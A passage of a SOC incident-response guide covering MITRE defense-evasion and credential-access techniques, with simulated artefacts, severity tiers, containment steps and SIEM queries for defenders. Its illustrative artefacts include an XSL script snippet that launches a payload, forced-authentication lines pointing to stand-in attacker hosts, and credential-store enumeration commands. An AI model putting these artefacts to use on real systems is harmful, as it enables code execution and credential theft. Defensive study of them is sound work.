| where tls_version IN ("1.0","1.1") OR key_length < 2048

B) Hardware crypto disabled

index=endpoint

| where crypto_hardware="disabled"

C) Crypto configuration changes

index=system

| where config_file LIKE "%crypto%" AND approved=false

Analyst checklist

- Encryption weakening confirmed
- Sub-technique identified
- Strong crypto restored
- Keys and certs rotated
- Incident severity updated

Post-incident improvements

- Treat crypto configuration as a security boundary
- Enforce minimum crypto baselines via policy and automation
- Alert on any downgrade of keys, ciphers or protocols
- Require change approval for crypto hardware settings
- Correlate crypto downgrade → traffic access → data exposure

Playbook 131 (MITRE Defense Evasion): XSL Script Processing

Technique: XSL Script Processing

Purpose

Detect, investigate and respond to adversaries evading defenses by abusing XSL (Extensible Stylesheet Language) processing, enabling attackers to:

- Execute malicious code through trusted XML/XSL interpreters
- Bypass application allow-listing and script restrictions
- Blend malicious execution into legitimate data transformation workflows
- Avoid traditional script detection (PowerShell, JS, VB)
- Deliver fileless or low-visibility payload execution

XSL Script Processing is defense evasion through trusted transformation logic attackers don't run "scripts" they transform data and execute code as a side effect.

When to trigger this playbook

Trigger this playbook when indicators suggest abnormal or malicious XSL/XSLT usage, including:

- Execution of XSL stylesheets containing embedded script logic
- XML or XSL files spawning processes or network connections
- Use of msxsl.exe, xsltproc, Java XSLT engines or .NET XslCompiledTransform in unexpected contexts
- XSL files retrieved from untrusted locations
- Script execution where no traditional scripting engine is invoked

Example use case scenario (end-to-end)

Context: SOC detects a process spawn originating from an XML processing service. No PowerShell, CMD or JS is logged. Investigation shows an XSL file containing embedded script executed via a trusted XSLT engine.

Attacker objective: Evade detection by executing code inside legitimate XSL transformations.

Defender objective: Detect hidden execution paths within XML/XSL processing.

What it looks like (simulated SOC artefacts)

A) Suspicious XSL Execution

Process=msxsl.exe

Input=document.xml

Stylesheet=transform.xml

B) Embedded Script in XSL

```
<xsl:script language="JScript">
```

```
WScript.Shell.Run("payload.exe")
```

```
</xsl:script>
```

C) Process Spawn

Parent=msxsl.exe

Child=payload.exe

D) Network Activity

Process=payload.exe

Destination=ExternalIP

E) No Traditional Script Engines

PowerShell=None

Cmd=None

F) Evasion Outcome

Execution=Successful

Detection=Delayed

Severity decision (SOC)

Medium

- Suspicious XSL usage without confirmed payload

High

- XSL-based execution confirmed

Critical

- XSL used to deliver malware, C2 or impact

Example severity: High / Critical

(Code execution hidden inside trusted data processing)

Step-by-step SOC workflow

Step 1 Validate XSL abuse

Confirm:

1. Is XSL processing expected in this environment?
2. Does the XSL file contain embedded scripting or extension functions?
3. Did XSL processing spawn child processes or network connections?
4. Is the XSL file untrusted or externally sourced?

Decision point

- Legitimate transformation → validate content and source
- Script-enabled XSL abuse → escalate immediately

Step 2 Identify execution pattern

Indicator	Meaning	Risk
xsl:script	Embedded code	High
Extension functions	External calls	High
Process spawn	Execution	Critical
Network access	C2 / exfil	Critical

Step 3 Map behaviour to attacker intent

3A) Script Evasion

Indicators

- No PowerShell/JS detection

Attacker intent

- Bypass script controls

3B) Allow-List Bypass

Indicators

- Trusted binary (msxsl, java) used

Attacker intent

- Execute via permitted tools

3C) Fileless or Low-Visibility Execution

Indicators

- XML/XSL as carrier

Attacker intent

- Reduce forensic footprint

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Payload launched by XSL engine
2. Command and Control
 - Network connections from child process
3. Persistence
 - XSL stored in service directories
4. Defense Evasion
 - Additional proxy execution techniques

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected system
2. Block execution of suspicious XSL engines if not required
3. Quarantine malicious XML/XSL files

If XSL abuse confirmed

1. Notify SOC leadership and AppSec teams
2. Treat incident as code execution event
3. Expand hunt for similar XSL artefacts

Eradication and recovery

- Remove malicious XSL/XML files
- Disable script support in XSL processors where possible
- Patch or reconfigure XML processing services
- Rotate credentials exposed during execution
- Reimage systems if payload executed

Detection engineering (SIEM / EDR ideas)

A) XSL engine execution monitoring

index=process

| where process_name IN ("msxsl.exe","xsltproc","java")

B) Script-enabled XSL detection

index=file

| where file_content LIKE "%<xsl:script%"

C) Child process from XSL engine

index=process

| where parent_process IN ("msxsl.exe","xsltproc")

Analyst checklist

- XSL processing validated
- Embedded script identified

- Payload execution confirmed or ruled out
- Systems contained and cleaned
- Incident severity updated

Post-incident improvements

- Treat XSL/XSLT as executable content, not just data
- Disable scripting features in XSL processors by default
- Monitor trusted transformation engines as execution sources
- Add detections for process spawn from data processors
- Correlate XML/XSL processing → child execution → network activity

CREDENTIAL ACCESS

Credential Access is the stage where attackers attempt to obtain usernames, passwords, tokens or other authentication material to expand and sustain access within the environment. After initial compromise, adversaries harvest credentials through techniques such as dumping memory, keylogging, phishing, abusing authentication protocols or extracting stored secrets. Gaining valid credentials allows attackers to blend in as legitimate users, bypass many security controls and move freely across systems. For SOC teams, detecting credential access is a high priority because stolen credentials often enable privilege escalation, lateral movement and long-term persistence stopping this phase can significantly limit the attacker's ability to progress further in the attack chain.

Playbook 132 (MITRE Credential Access): Adversary-in-the-Middle

Technique: Adversary-in-the-Middle (AiTM)

Sub-techniques covered:

- LLMNR / NBT-NS Poisoning and SMB Relay
- ARP Cache Poisoning
- DHCP Spoofing
- Evil Twin

Purpose

Detect, investigate and respond to attacker interception and manipulation of network communications to capture credentials or session material, enabling attackers to:

- Steal NTLM/Kerberos credentials and hashes
- Relay authentication to other systems without cracking
- Hijack sessions and bypass MFA
- Observe or alter traffic in real time
- Achieve lateral movement with minimal endpoint artefacts

AiTM is credential theft by position, not by malware the attacker wins by sitting in the path.

When to trigger this playbook

Trigger this playbook when indicators suggest network-level interception, including:

- Authentication failures followed by unexpected successes elsewhere
- NTLM authentication to unknown hosts
- Duplicate IP/MAC address conflicts
- Sudden gateway changes on endpoints
- Users reporting certificate warnings on internal apps
- Wireless clients reconnecting to unfamiliar SSIDs
- SMB relays succeeding without password knowledge

Example use case scenario (end-to-end)

Context: SOC sees multiple NTLM authentication attempts to an unknown workstation. Moments later, a privileged file server is accessed successfully using NTLM no password reset occurred. Network analysis confirms LLMNR poisoning with SMB relay.

Attacker objective: Capture and relay authentication to move laterally without cracking credentials.

Defender objective: Detect the interception point, stop credential relay and restore network trust.

What it looks like (simulated SOC artefacts)

A) LLMNR / NBT-NS Poisoning

Query: FILESRV01

Response: AttackerHost (faster than DNS)

Auth: NTLM

EventID=4624

AuthPackage=NTLM

TargetServer=AttackerHost

B) SMB Relay

Captured NTLM challenge/response

Relayed to FILESRV01

AuthSuccess=true

PasswordUnknown=true

C) ARP Cache Poisoning

ARP Table:

Gateway IP → Attacker MAC

Duplicate IP warning observed

D) DHCP Spoofing

New DHCP Server detected

Gateway=10.0.0.99

DNS=AttackerControlled

E) Evil Twin (Rogue Wi-Fi)

SSID=CorpWiFi

BSSID=Unknown

CertWarning=true

UserAuthenticated=true

F) Session Hijacking

SessionCookieCaptured

MFACheck=Bypassed

Severity decision (SOC)

Low

- Legitimate network testing or red-team activity (approved)

Medium

- Network poisoning attempts detected, no successful relay

High / Critical

- Credentials relayed or sessions hijacked
- Lateral movement achieved via network interception
- MFA bypass via AiTM

Example severity: Critical

(NTLM relay + file server access + no password compromise)

Step-by-step SOC workflow

Step 1 Validate adversary-in-the-middle activity

Confirm:

1. Is traffic being intercepted or redirected?
2. Which protocols are affected (LLMNR, ARP, DHCP, Wi-Fi)?
3. Are credentials or sessions captured or relayed?
4. Is this behaviour expected or approved?

Decision point

- Approved testing → document and monitor
- Unauthorised interception → continue investigation immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
LLMNR/NBT-NS poisoning	Name resolution hijack	NTLM capture
SMB relay	Auth success without password	Lateral movement
ARP poisoning	Gateway MAC change	Traffic interception
DHCP spoofing	Rogue gateway/DNS	Full traffic control
Evil Twin	Rogue SSID	Credential/session theft

Step 3 Map behaviour to attacker intent

3A) Credential Capture

Indicators

- NTLM hashes, Kerberos tickets observed

Attacker intent

- Steal reusable authentication material

3B) Lateral Movement

Indicators

- Relay to file servers, DCs, apps

Attacker intent

- Move without malware or exploits

3C) MFA Bypass

Indicators

- Session cookies reused

Attacker intent

- Access protected apps silently

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Use Alternate Authentication Material
 - PtH, PtT, session reuse
2. Lateral Movement
 - SMB, WinRM, LDAP access
3. Persistence
 - New accounts, cached credentials
4. Impact
 - Data access, ransomware staging

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected network segment
2. Disable LLMNR and NBT-NS via policy
3. Block NTLM where possible or enforce SMB signing
4. Disconnect rogue DHCP servers / APs

If abuse confirmed

1. Invalidate captured sessions and credentials
2. Reset affected account passwords
3. Re-issue certificates if TLS interception suspected
4. Preserve packet captures and logs for forensics

Eradication and recovery

- Enforce SMB signing and LDAP signing
- Disable legacy name resolution protocols
- Deploy DHCP snooping, ARP inspection and port security
- Enforce WPA3-Enterprise with cert-based auth
- Monitor continuously for poisoning attempts

Detection engineering (SIEM ideas)

A) LLMNR / NBT-NS traffic

```
index=network  
| where protocol IN ("LLMNR","NBT-NS")  
| stats count by src_ip, query
```

B) NTLM relay indicators

```
index=windows  
| where event_id=4624  
| where authentication_package="NTLM"  
| where target_server NOT IN known_servers
```

C) ARP poisoning detection

```
index=network  
| where arp_change=true  
| where gateway_mac_changed=true
```

D) Rogue DHCP server

```
index=network  
| where dhcp_offer=true  
| where server_ip NOT IN approved_dhcp_servers
```

E) Evil Twin detection

```
index=wireless  
| where ssid="CorpWiFi"  
| where bssid NOT IN approved_bssids
```

Analyst checklist

- AiTM technique identified
- Credentials or sessions exposed assessed
- Network interception stopped
- Accounts and sessions invalidated
- Detections strengthened

Post-incident improvements

- Treat network-layer attacks as Tier-0 credential threats
- Remove legacy protocols wherever possible
- Enforce encryption, signing and mutual authentication
- Monitor for name-resolution abuse, not just logins
- Include AiTM scenarios in SOC tabletop and purple-team exercises

Playbook 133 (MITRE Credential Access): Brute Force

Technique: Brute Force

Sub-techniques covered:

- Password Guessing
- Password Cracking
- Password Spraying
- Credential Stuffing

Purpose

Detect, investigate and respond to attacker attempts to gain access by systematically trying credentials, enabling attackers to:

- Compromise accounts without exploiting software vulnerabilities
- Leverage weak, reused or default passwords
- Evade detection by spreading attempts across users, time or services
- Gain initial access to on-prem, cloud, VPN or SaaS platforms
- Escalate from one compromised account to many

Brute Force attacks exploit human and policy weaknesses, not technical flaws.

When to trigger this playbook

Trigger this playbook when indicators suggest abnormal authentication failure patterns, including:

- High volumes of failed logins from single or multiple sources
- Low-and-slow login attempts across many accounts
- Multiple accounts failing with the same password
- Authentication attempts using known breached credential sets
- Login failures followed by sudden success
- Attacks spanning VPN, O365, RDP, SSH or web apps

Example use case scenario (end-to-end)

Context: SOC observes thousands of failed Azure AD logins across many users, each with only one attempt per account. Minutes later, one account successfully authenticates and accesses email. Analysis confirms a password spraying attack using a common seasonal password.

Attacker objective: Avoid lockouts while finding any account with a weak password.

Defender objective: Detect brute force patterns early, block the source and harden authentication controls.

What it looks like (simulated SOC artefacts)

A) Password Guessing

User=admin
Attempts=150
SourceIP=185.xxx.xxx.xxx
PasswordPattern=Sequential

B) Password Cracking (Offline)

HashType=NTLM
Attempts=Millions/sec
Source=StolenHashFile

C) Password Spraying

Password="Welcome@123"
UsersTargeted=2,500
AttemptsPerUser=1

D) Credential Stuffing

Username/Password Pairs=BreachedComboList
Service=O365
UserAgent=Automated

E) Success After Failures

AuthFailures=12
AuthSuccess=1
SameSourceIP=true

F) Multi-Service Brute Force

Targets=VPN, O365, RDP
IPRotation=true

Severity decision (SOC)

Low

- Mistyped credentials by legitimate users

Medium

- Brute force attempts detected but blocked
- No successful authentication

High / Critical

- Successful login following brute force
- Privileged, cloud or VPN account compromised
- Large-scale distributed attack

Example severity: High

(Password spraying + successful cloud login)

Step-by-step SOC workflow

Step 1 Validate brute force activity

Confirm:

1. Is there a pattern of repeated authentication attempts?
2. Are attempts automated or distributed?
3. Which accounts, services and protocols are targeted?
4. Did any attempt succeed after failures?

Decision point

- User error → document and close
- Brute force activity → continue investigation immediately

Step 2 Identify brute force sub-technique and scope

Sub-technique	Evidence	Attacker value
Password guessing	Many attempts, one user	Fast admin access
Password cracking	Offline hash attack	Silent compromise
Password spraying	One password, many users	Lockout avoidance
Credential stuffing	Known combo lists	High success rate

Step 3 Map behaviour to attacker intent

3A) Initial Access

Indicators

- External login attempts

Attacker intent

- Obtain first foothold

3B) Persistence via Credentials

Indicators

- Repeated access after success

Attacker intent

- Maintain access without malware

3C) Privilege Escalation

Indicators

- Targeting admins or service accounts

Attacker intent

- Expand control

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Valid Accounts
 - Abuse of compromised credentials
2. Use Alternate Authentication Material
 - Tokens, sessions, cached creds
3. Lateral Movement
 - RDP, SMB, SSH usage
4. Impact
 - Data access, ransomware staging

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Block attacking IPs / ASNs
2. Enforce account lockout or throttling
3. Force password reset on targeted accounts

If abuse confirmed

1. Disable compromised accounts
2. Revoke sessions, tokens and refresh tokens
3. Enforce MFA immediately
4. Notify IAM and cloud teams

Eradication and recovery

- Rotate passwords for affected users
- Enforce strong password and MFA policies
- Enable smart lockout and rate limiting
- Monitor authentication logs closely
- Validate no persistence via accounts remains

Detection engineering (SIEM ideas)

A) High failed login count

```
index=auth  
| stats count by src_ip, user  
| where count > 10
```

B) Password spraying detection

```
index=auth  
| stats count distinct(user) by src_ip, password  
| where count > 20
```

C) Credential stuffing indicators

```
index=auth  
| where user_agent LIKE "%python%" OR user_agent LIKE "%curl%"
```

D) Success after failures

```
index=auth  
| transaction user src_ip  
| where auth_failure > 5 AND auth_success > 0
```

Analyst checklist

- Brute force pattern identified
- Sub-technique classified
- Successful logins assessed
- Accounts secured and reset
- Monitoring tightened

Post-incident improvements

- Treat brute force as early-stage intrusion activity
- Enforce MFA everywhere possible
- Apply rate limiting and smart lockout
- Monitor patterns, not single failures
- Include spraying and stuffing scenarios in SOC drills

Playbook 134 (MITRE Credential Access): Credentials from Password Stores

Technique: Credentials from Password Stores

Sub-techniques covered:

- Keychain
- Securityd Memory
- Credentials from Web Browsers
- Windows Credential Manager
- Password Managers
- Cloud Secrets Management Stores

Purpose

Detect, investigate and respond to attacker attempts to extract credentials from operating system, application, browser and cloud-managed password stores, enabling attackers to:

- Harvest plaintext or decryptable credentials
- Bypass interactive authentication and MFA
- Expand access across endpoints, servers, SaaS and cloud APIs
- Persist using legitimate secrets rather than malware
- Move laterally and escalate privileges silently

This technique is credential theft at rest attackers take what users and systems already trust to store.

When to trigger this playbook

Trigger this playbook when indicators suggest access to credential stores or secret vaults, including:

- Access to keychain, credential vault or browser login databases
- Memory access to authentication daemons (e.g., securityd)
- Suspicious processes querying credential APIs
- Export or read operations against password managers
- Unusual access to cloud secret stores (AWS Secrets Manager, Azure Key Vault, GCP Secret Manager)
- Credential use without interactive authentication

Example use case scenario (end-to-end)

Context: SOC detects suspicious PowerShell activity on a user workstation. Shortly after, multiple internal and cloud services are accessed successfully without MFA prompts.

Forensics reveal extraction of credentials from Windows Credential Manager and browser password stores, followed by use of cloud API keys from a secrets vault.

Attacker objective: Harvest high-value stored secrets to pivot and persist without repeated phishing.

Defender objective: Identify credential store access, invalidate exposed secrets and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) macOS Keychain Access

Process=security
Action=KeychainRead
Item=InternetPassword
UserContext=LoggedInUser

B) securityd Memory Access (macOS)

Process=Unknown
Target=securityd
Action=MemoryRead
Result=SecretsExtracted

C) Browser Credential Theft

FileAccess:
Chrome Login Data
Firefox logins.json
Edge Web Data

D) Windows Credential Manager Abuse

cmdkey /list
CredRead
Target=TERMSRV/FILESRV01

E) Password Manager Extraction

Process=KeePass.exe
DatabaseExport=true
MasterPasswordPromptBypassed

F) Cloud Secrets Store Access

GetSecretValue

Vault=AzureKeyVault-Prod

Requester=CompromisedUser

Severity decision (SOC)

Low

- User-initiated credential retrieval (expected, interactive)

Medium

- Unusual credential store access, no confirmed misuse

High / Critical

- Credentials extracted and reused
- Cloud, admin or service secrets exposed
- MFA bypass or lateral movement confirmed

Example severity: Critical

(Browser + Windows vault extraction + cloud secret reuse)

Step-by-step SOC workflow

Step 1 Validate credential store access

Confirm:

1. Which credential store was accessed (OS, browser, password manager, cloud)?
2. Was access interactive and expected or automated/silent?
3. Did a non-standard process perform the access?
4. Were retrieved credentials used afterward?

Decision point

- Legitimate access → document and monitor
- Suspicious extraction → continue investigation immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
---------------	----------	----------------

Keychain	Keychain item reads	App & web creds
securityd memory	Daemon memory access	Decrypted secrets
Browser stores	Login DB reads	SaaS & web access
Windows Credential Manager	CredRead / cmdkey	RDP, SMB, services
Password managers	Vault export	High-value reuse
Cloud secrets	API secret reads	Infra & CI/CD access

Step 3 Map behaviour to attacker intent

3A) Credential Harvesting

Indicators

1. Bulk reads of stored credentials

Attacker intent

1. Acquire reusable secrets quickly

3B) MFA Bypass

Indicators

- Access via stored tokens, cookies or API keys

Attacker intent

- Authenticate without challenges

3C) Lateral Movement & Persistence

Indicators

- Use of harvested secrets across systems

Attacker intent

- Expand and maintain access silently

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Use Alternate Authentication Material

- Tokens, cookies, tickets
- 2. Valid Accounts
 - Logins using harvested creds
- 3. Lateral Movement
 - RDP, SMB, SSH, cloud APIs
- 4. Impact
 - Data access, infrastructure control

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

- Isolate affected endpoints
- Revoke exposed sessions, tokens and API keys
- Disable compromised accounts temporarily

If abuse confirmed

1. Rotate all affected credentials and secrets
2. Force re-authentication across apps and devices
3. Lock down access to credential stores
4. Preserve artefacts for forensic analysis

Eradication and recovery

1. Reset OS, browser and application credentials
2. Rotate cloud secrets and service principals
3. Enforce MFA and device binding
4. Harden access controls on password stores
5. Monitor closely for reuse attempts

Detection engineering (SIEM ideas)

A) Browser credential store access

```
index=edr
| where file_name IN ("Login Data","Web Data","logins.json")
| where process NOT IN approved_browser_list
```

B) Windows Credential Manager abuse

index=windows
| where api_call IN ("CredRead","CredEnumerate")
| where process NOT IN approved_processes

C) Password manager export activity

index=edr
| where action="Export"
| where application IN ("KeePass","1Password","Bitwarden")

D) Cloud secret access anomalies

index=cloud
| where api_call IN ("GetSecretValue","GetSecret")
| where requester NOT IN approved_identities

Analyst checklist

- Credential store accessed identified
- Processes and users validated
- Secrets exposure assessed
- Credentials rotated and revoked
- Monitoring strengthened

Post-incident improvements

- Treat credential stores as Tier-0 assets
- Restrict access to secrets by least privilege
- Enforce MFA and conditional access everywhere
- Monitor reads of secrets, not just logins
- Include password-store abuse scenarios in SOC drills

Playbook 135 (MITRE Credential Access): Exploitation for Credential Access

Technique: Exploitation for Credential Access

Purpose

Detect, investigate and respond to attacker exploitation of software vulnerabilities specifically to obtain credentials, enabling attackers to:

- Extract credentials directly from memory, files or processes
- Bypass authentication mechanisms entirely
- Access credentials without triggering brute-force or phishing detections
- Escalate privileges using stolen secrets
- Move laterally using credentials obtained via exploitation

Exploitation for Credential Access is credential theft through broken trust in software, not user behaviour.

When to trigger this playbook

Trigger this playbook when indicators suggest vulnerability exploitation leading to credential exposure, including:

- Exploits against authentication services, SSO platforms or identity providers
- Memory disclosure vulnerabilities (buffer overflows, info leaks)
- Exploited web applications leaking credentials, tokens or cookies
- Post-exploitation credential access without prior authentication events
- Sudden credential use following application or service crashes
- Known CVE exploitation mapped to credential disclosure

Example use case scenario (end-to-end)

Context: SOC observes a crash in an internal identity service shortly after suspicious HTTP requests. Minutes later, valid user credentials and session cookies are used to access multiple applications without MFA challenges. Investigation confirms exploitation of a memory disclosure vulnerability allowing extraction of authentication material.

Attacker objective: Obtain credentials directly from vulnerable systems, bypassing user interaction.

Defender objective: Identify exploited services, revoke exposed credentials and close the vulnerability.

What it looks like (simulated SOC artefacts)

A) Web Application Exploitation

Request=/auth/login
Payload=MalformedInput
Result=500 Error
ResponseLeak:
username=admin
password_hash=\$2y\$10\$...

B) Memory Disclosure

Process=authservice.exe
CrashType=AccessViolation
MemoryDumpContains=Credentials

C) Exploitation of Authentication Services

Service=SSO
CVE=Known
TokenLeak=true

D) Credential Use After Exploitation

AuthSuccess
User=service_admin
SourceIP=External
MFA=Bypassed

E) Token / Cookie Theft

SessionCookie=Captured
ReuseDetected=true

F) No Prior Authentication Attempts

AuthFailures=0
AuthSuccess=1

Severity decision (SOC)

Low

- Exploit attempt detected, no credential exposure

Medium

- Vulnerability exploited, exposure unclear

High / Critical

- Credentials, tokens or hashes confirmed exposed
- Privileged or SSO credentials compromised
- Lateral movement achieved using exploited credentials

Example severity: Critical

(SSO exploit + token leak + MFA bypass)

Step-by-step SOC workflow

Step 1 Validate exploitation for credential access

Confirm:

1. Was a vulnerability exploited (CVE, misconfiguration)?
2. Which component was affected (web app, auth service, OS)?
3. Were credentials, tokens or secrets exposed?
4. Is there evidence of credential use post-exploitation?

Decision point

- Exploit failed / no exposure → document and monitor
- Credential exposure likely → continue investigation immediately

Step 2 Identify exploitation vector and scope

Vector	Evidence	Attacker value
Web app exploit	Error leaks, debug output	User credentials
Memory disclosure	Crash dumps	Plaintext secrets
Auth service exploit	Token leakage	MFA bypass
API vulnerability	Over-privileged responses	Cloud access
SSO compromise	Session reuse	Enterprise-wide access

Step 3 Map behaviour to attacker intent

3A) Credential Harvesting via Exploit

Indicators

- Credentials appear without login attempts

Attacker intent

- Bypass authentication entirely

3B) Privilege Escalation

Indicators

- High-privilege credentials obtained

Attacker intent

- Expand control rapidly

3C) Stealth and Speed

Indicators

- Minimal noise, no brute force

Attacker intent

- Avoid identity-based detections

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Valid Accounts
 - Use of stolen credentials
2. Use Alternate Authentication Material
 - Tokens, cookies, tickets
3. Lateral Movement
 - SMB, LDAP, cloud APIs
4. Persistence
 - New secrets, accounts or keys created

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

- Isolate affected systems or services
- Disable vulnerable endpoints or APIs
- Revoke exposed sessions, tokens and credentials

If abuse confirmed

1. Reset passwords for affected users and services
2. Rotate keys, certificates and secrets
3. Patch or mitigate the exploited vulnerability
4. Preserve memory dumps and logs for forensics

Eradication and recovery

1. Patch exploited vulnerabilities (OS, app, framework)
2. Rebuild affected services if integrity is uncertain
3. Force re-authentication across dependent systems
4. Validate no backdoors or persistence remain
5. Monitor closely for reuse of exposed credentials

Detection engineering (SIEM ideas)

A) Exploit attempts against auth services

```
index=web  
| where status=500  
| where url LIKE "%auth%"  
| stats count by src_ip, url
```

B) Credential use without prior failures

```
index=auth  
| where auth_success=true  
| where auth_failure=0
```

C) Service crashes followed by logins

```
index=system  
| transaction host  
| where crash=true AND auth_success=true
```

D) Token reuse anomalies

```
index=cloud_auth  
| where token_reuse=true  
| where source_ip_changed=true
```

Analyst checklist

- Exploited service identified
- Credential exposure confirmed or ruled out
- Credentials rotated and sessions revoked
- Vulnerability patched or mitigated
- Monitoring intensified

Post-incident improvements

- Treat auth and SSO services as Tier-0 assets
- Patch aggressively when CVEs affect identity components
- Reduce credential exposure in memory and logs
- Monitor for credential appearance without login activity
- Include exploit-driven credential theft in SOC simulations

Playbook 136 (MITRE Credential Access): Forced Authentication

Technique: Forced Authentication

Purpose

Detect, investigate and respond to attacker actions that coerce systems or users to authenticate to attacker-controlled resources, enabling attackers to:

- Capture NTLM/Kerberos credentials or hashes without user intent
- Trigger authentication from privileged systems (servers, DCs, service accounts)
- Relay authentication for lateral movement (SMB/LDAP/HTTP)
- Harvest credentials without phishing, malware or exploits
- Bypass MFA by capturing non-interactive authentication

Forced Authentication is credential theft by coercion the attacker makes the victim authenticate to them.

When to trigger this playbook

Trigger this playbook when indicators suggest authentication attempts initiated by victims toward suspicious or attacker-controlled destinations, including:

- Outbound NTLM authentication to unknown hosts
- SMB/HTTP connections triggered by file access, shortcuts or URLs
- Authentication events without user interaction
- Authentication following access to files, emails or documents
- Name-resolution abuse causing clients to authenticate unexpectedly
- Service or machine accounts authenticating externally

Example use case scenario (end-to-end)

Context: SOC detects NTLM authentication attempts from a file server to an unknown workstation. No user logged into the file server at the time. Investigation reveals a malicious .lnk file on a shared folder that forces authentication when browsed.

Attacker objective: Force privileged systems to authenticate and capture or relay credentials.

Defender objective: Identify forced-auth triggers, stop credential leakage and invalidate exposed secrets.

What it looks like (simulated SOC artefacts)

A) Forced NTLM Authentication via File Access

EventID=4624
AuthPackage=NTLM
LogonType=3
TargetServer=ATTACKER-HOST
Initiator=FILESRV01\$

B) Authentication Triggered by Shortcut / File

FileAccess=\\ATTACKER\\share\\doc.lnk
Result=AuthAttempt

C) HTTP-Based Forced Authentication

GET http://attacker.site/resource
WWW-Authenticate: NTLM
AuthSent=true

D) Email or Document Trigger

EmailOpened=true
RemoteResource=\\ATTACKER\\icons\\image.png
AuthAttempt=Triggered

E) No User Interaction

UserLoggedIn=false
AuthAttempt=true

F) Credential Capture / Relay

NTLMHashCaptured=true
RelayAttempt=LDAP
Result=Success

Severity decision (SOC)

Low

- Approved internal testing or red-team activity

Medium

- Forced authentication attempt detected, no credential reuse

High / Critical

- Credentials captured or relayed
- Authentication forced from servers, DCs or service accounts
- Lateral movement achieved

Example severity: Critical

(Forced NTLM auth from server + relay to LDAP)

Step-by-step SOC workflow

Step 1 Validate forced authentication activity

Confirm:

1. Did the system initiate authentication without user intent?
2. Was authentication sent to an unexpected or external destination?
3. Which account type was forced (user, service, machine)?
4. Is there evidence of credential capture or relay?

Decision point

- Expected internal auth → document and monitor
- Unauthorised forced auth → continue investigation immediately

Step 2 Identify forcing mechanism and scope

Mechanism	Evidence	Attacker value
Malicious files (LNK, URL)	Auth on file browse	Silent hash capture
UNC paths	SMB auth to attacker	Relay-ready creds
HTTP auth challenge	NTLM over HTTP	MFA bypass
Email/Doc references	Icon/image loads	Userless capture
Name resolution abuse	LLMNR/NBT-NS	Coerced auth

Step 3 Map behaviour to attacker intent

3A) Credential Capture

Indicators

- NTLM/Kerberos auth to attacker host

Attacker intent

- Obtain hashes or tickets

3B) Lateral Movement Preparation

Indicators

- Immediate relay attempts

Attacker intent

- Move without cracking passwords

3C) Privileged Access

Indicators

- Server or machine account auth

Attacker intent

- Elevate impact quickly

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Adversary-in-the-Middle
 - SMB/LDAP/HTTP relay
2. Valid Accounts
 - Use of captured credentials
3. Lateral Movement
 - File server, DC, app access
4. Persistence
 - New accounts, delegated access

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Block outbound authentication to untrusted hosts
2. Disable NTLM where possible enforce signing
3. Remove malicious files or references
4. Isolate affected systems if relay suspected

If abuse confirmed

1. Reset affected user, service and machine account credentials
2. Rotate machine account passwords if exposed
3. Invalidate sessions and tickets
4. Preserve artefacts (files, emails, packets) for forensics

Eradication and recovery

- Disable NTLM and legacy auth protocols where feasible
- Enforce SMB and LDAP signing
- Remove unauthorised remote resource references
- Harden email and file handling paths
- Monitor continuously for outbound auth anomalies

Detection engineering (SIEM ideas)

A) Outbound NTLM authentication

```
index=windows  
| where event_id=4624  
| where authentication_package="NTLM"  
| where target_server NOT IN internal_server_list
```

B) Machine account authentication anomalies

```
index=windows  
| where user LIKE "%$"  
| where destination NOT IN internal_domains
```

C) Authentication without user logon

```
index=windows  
| where logon_type=3  
| where user_logged_in=false
```

D) HTTP NTLM challenges

```
index=proxy
```

| where response_header LIKE "%WWW-Authenticate: NTLM%"

Analyst checklist

1. Forced authentication confirmed
2. Trigger mechanism identified
3. Credentials exposure assessed
4. Accounts rotated and sessions revoked
5. Preventive controls enforced

Post-incident improvements

- Treat forced authentication as Tier-0 credential leakage
- Disable NTLM and legacy auth aggressively
- Monitor outbound authentication, not just inbound
- Harden email, document and file-share workflows
- Include forced-auth scenarios in SOC and purple-team exercises

Playbook 137 (MITRE Credential Access): Forge Web Credentials

Technique: Forge Web Credentials

Sub-techniques covered:

- Web Cookies
- SAML Tokens

Purpose

Detect, investigate and respond to attacker forgery or manipulation of web authentication artefacts, enabling attackers to:

- Impersonate users without knowing passwords
- Bypass MFA and conditional access controls
- Hijack authenticated sessions (“session riding”)
- Gain access to SaaS, cloud apps and internal web services
- Persist silently using valid-looking tokens

Forge Web Credentials is identity theft without credentials attackers become the user by forging what the app trusts.

When to trigger this playbook

Trigger this playbook when indicators suggest tampering, replay or forgery of web authentication artefacts, including:

- Successful logins without corresponding authentication events
- Session reuse from new IPs, devices or geographies
- SAML assertions accepted outside expected trust flows
- Token lifetimes or claims that don’t match policy
- MFA-protected apps accessed without MFA challenges
- Web access following earlier cookie or token exposure

Example use case scenario (end-to-end)

Context: SOC observes access to a cloud CRM from a new country using an existing session. No login or MFA prompt is logged. Further analysis shows a forged SAML assertion with manipulated claims granting access.

Attacker objective: Bypass authentication and MFA by forging web identity artefacts.

Defender objective: Detect forged credentials, invalidate sessions and restore trust in web authentication.

What it looks like (simulated SOC artefacts)

A) Forged Web Cookie

Cookie=SESSIONID=abc123
User=finance.admin
IP=NewCountry
LoginEvent=None

B) Cookie Reuse / Session Riding

SessionReuse=true
DeviceFingerprint=Changed

C) Forged SAML Assertion

Issuer=TrustedIdP
Signature=Invalid/Bypassed
Claim=Role=Admin

D) Abnormal SAML Token Claims

NotBefore=Past
NotOnOrAfter=Extended
AudienceMismatch=true

E) MFA Bypass via Token Forgery

AppAccess=Granted
MFACHallenge=Skipped
AuthEvent=None

F) Cloud App Access Without Login

AccessType=Web
User=Executive
AuthSource=None

Severity decision (SOC)

Low

- Approved red-team testing
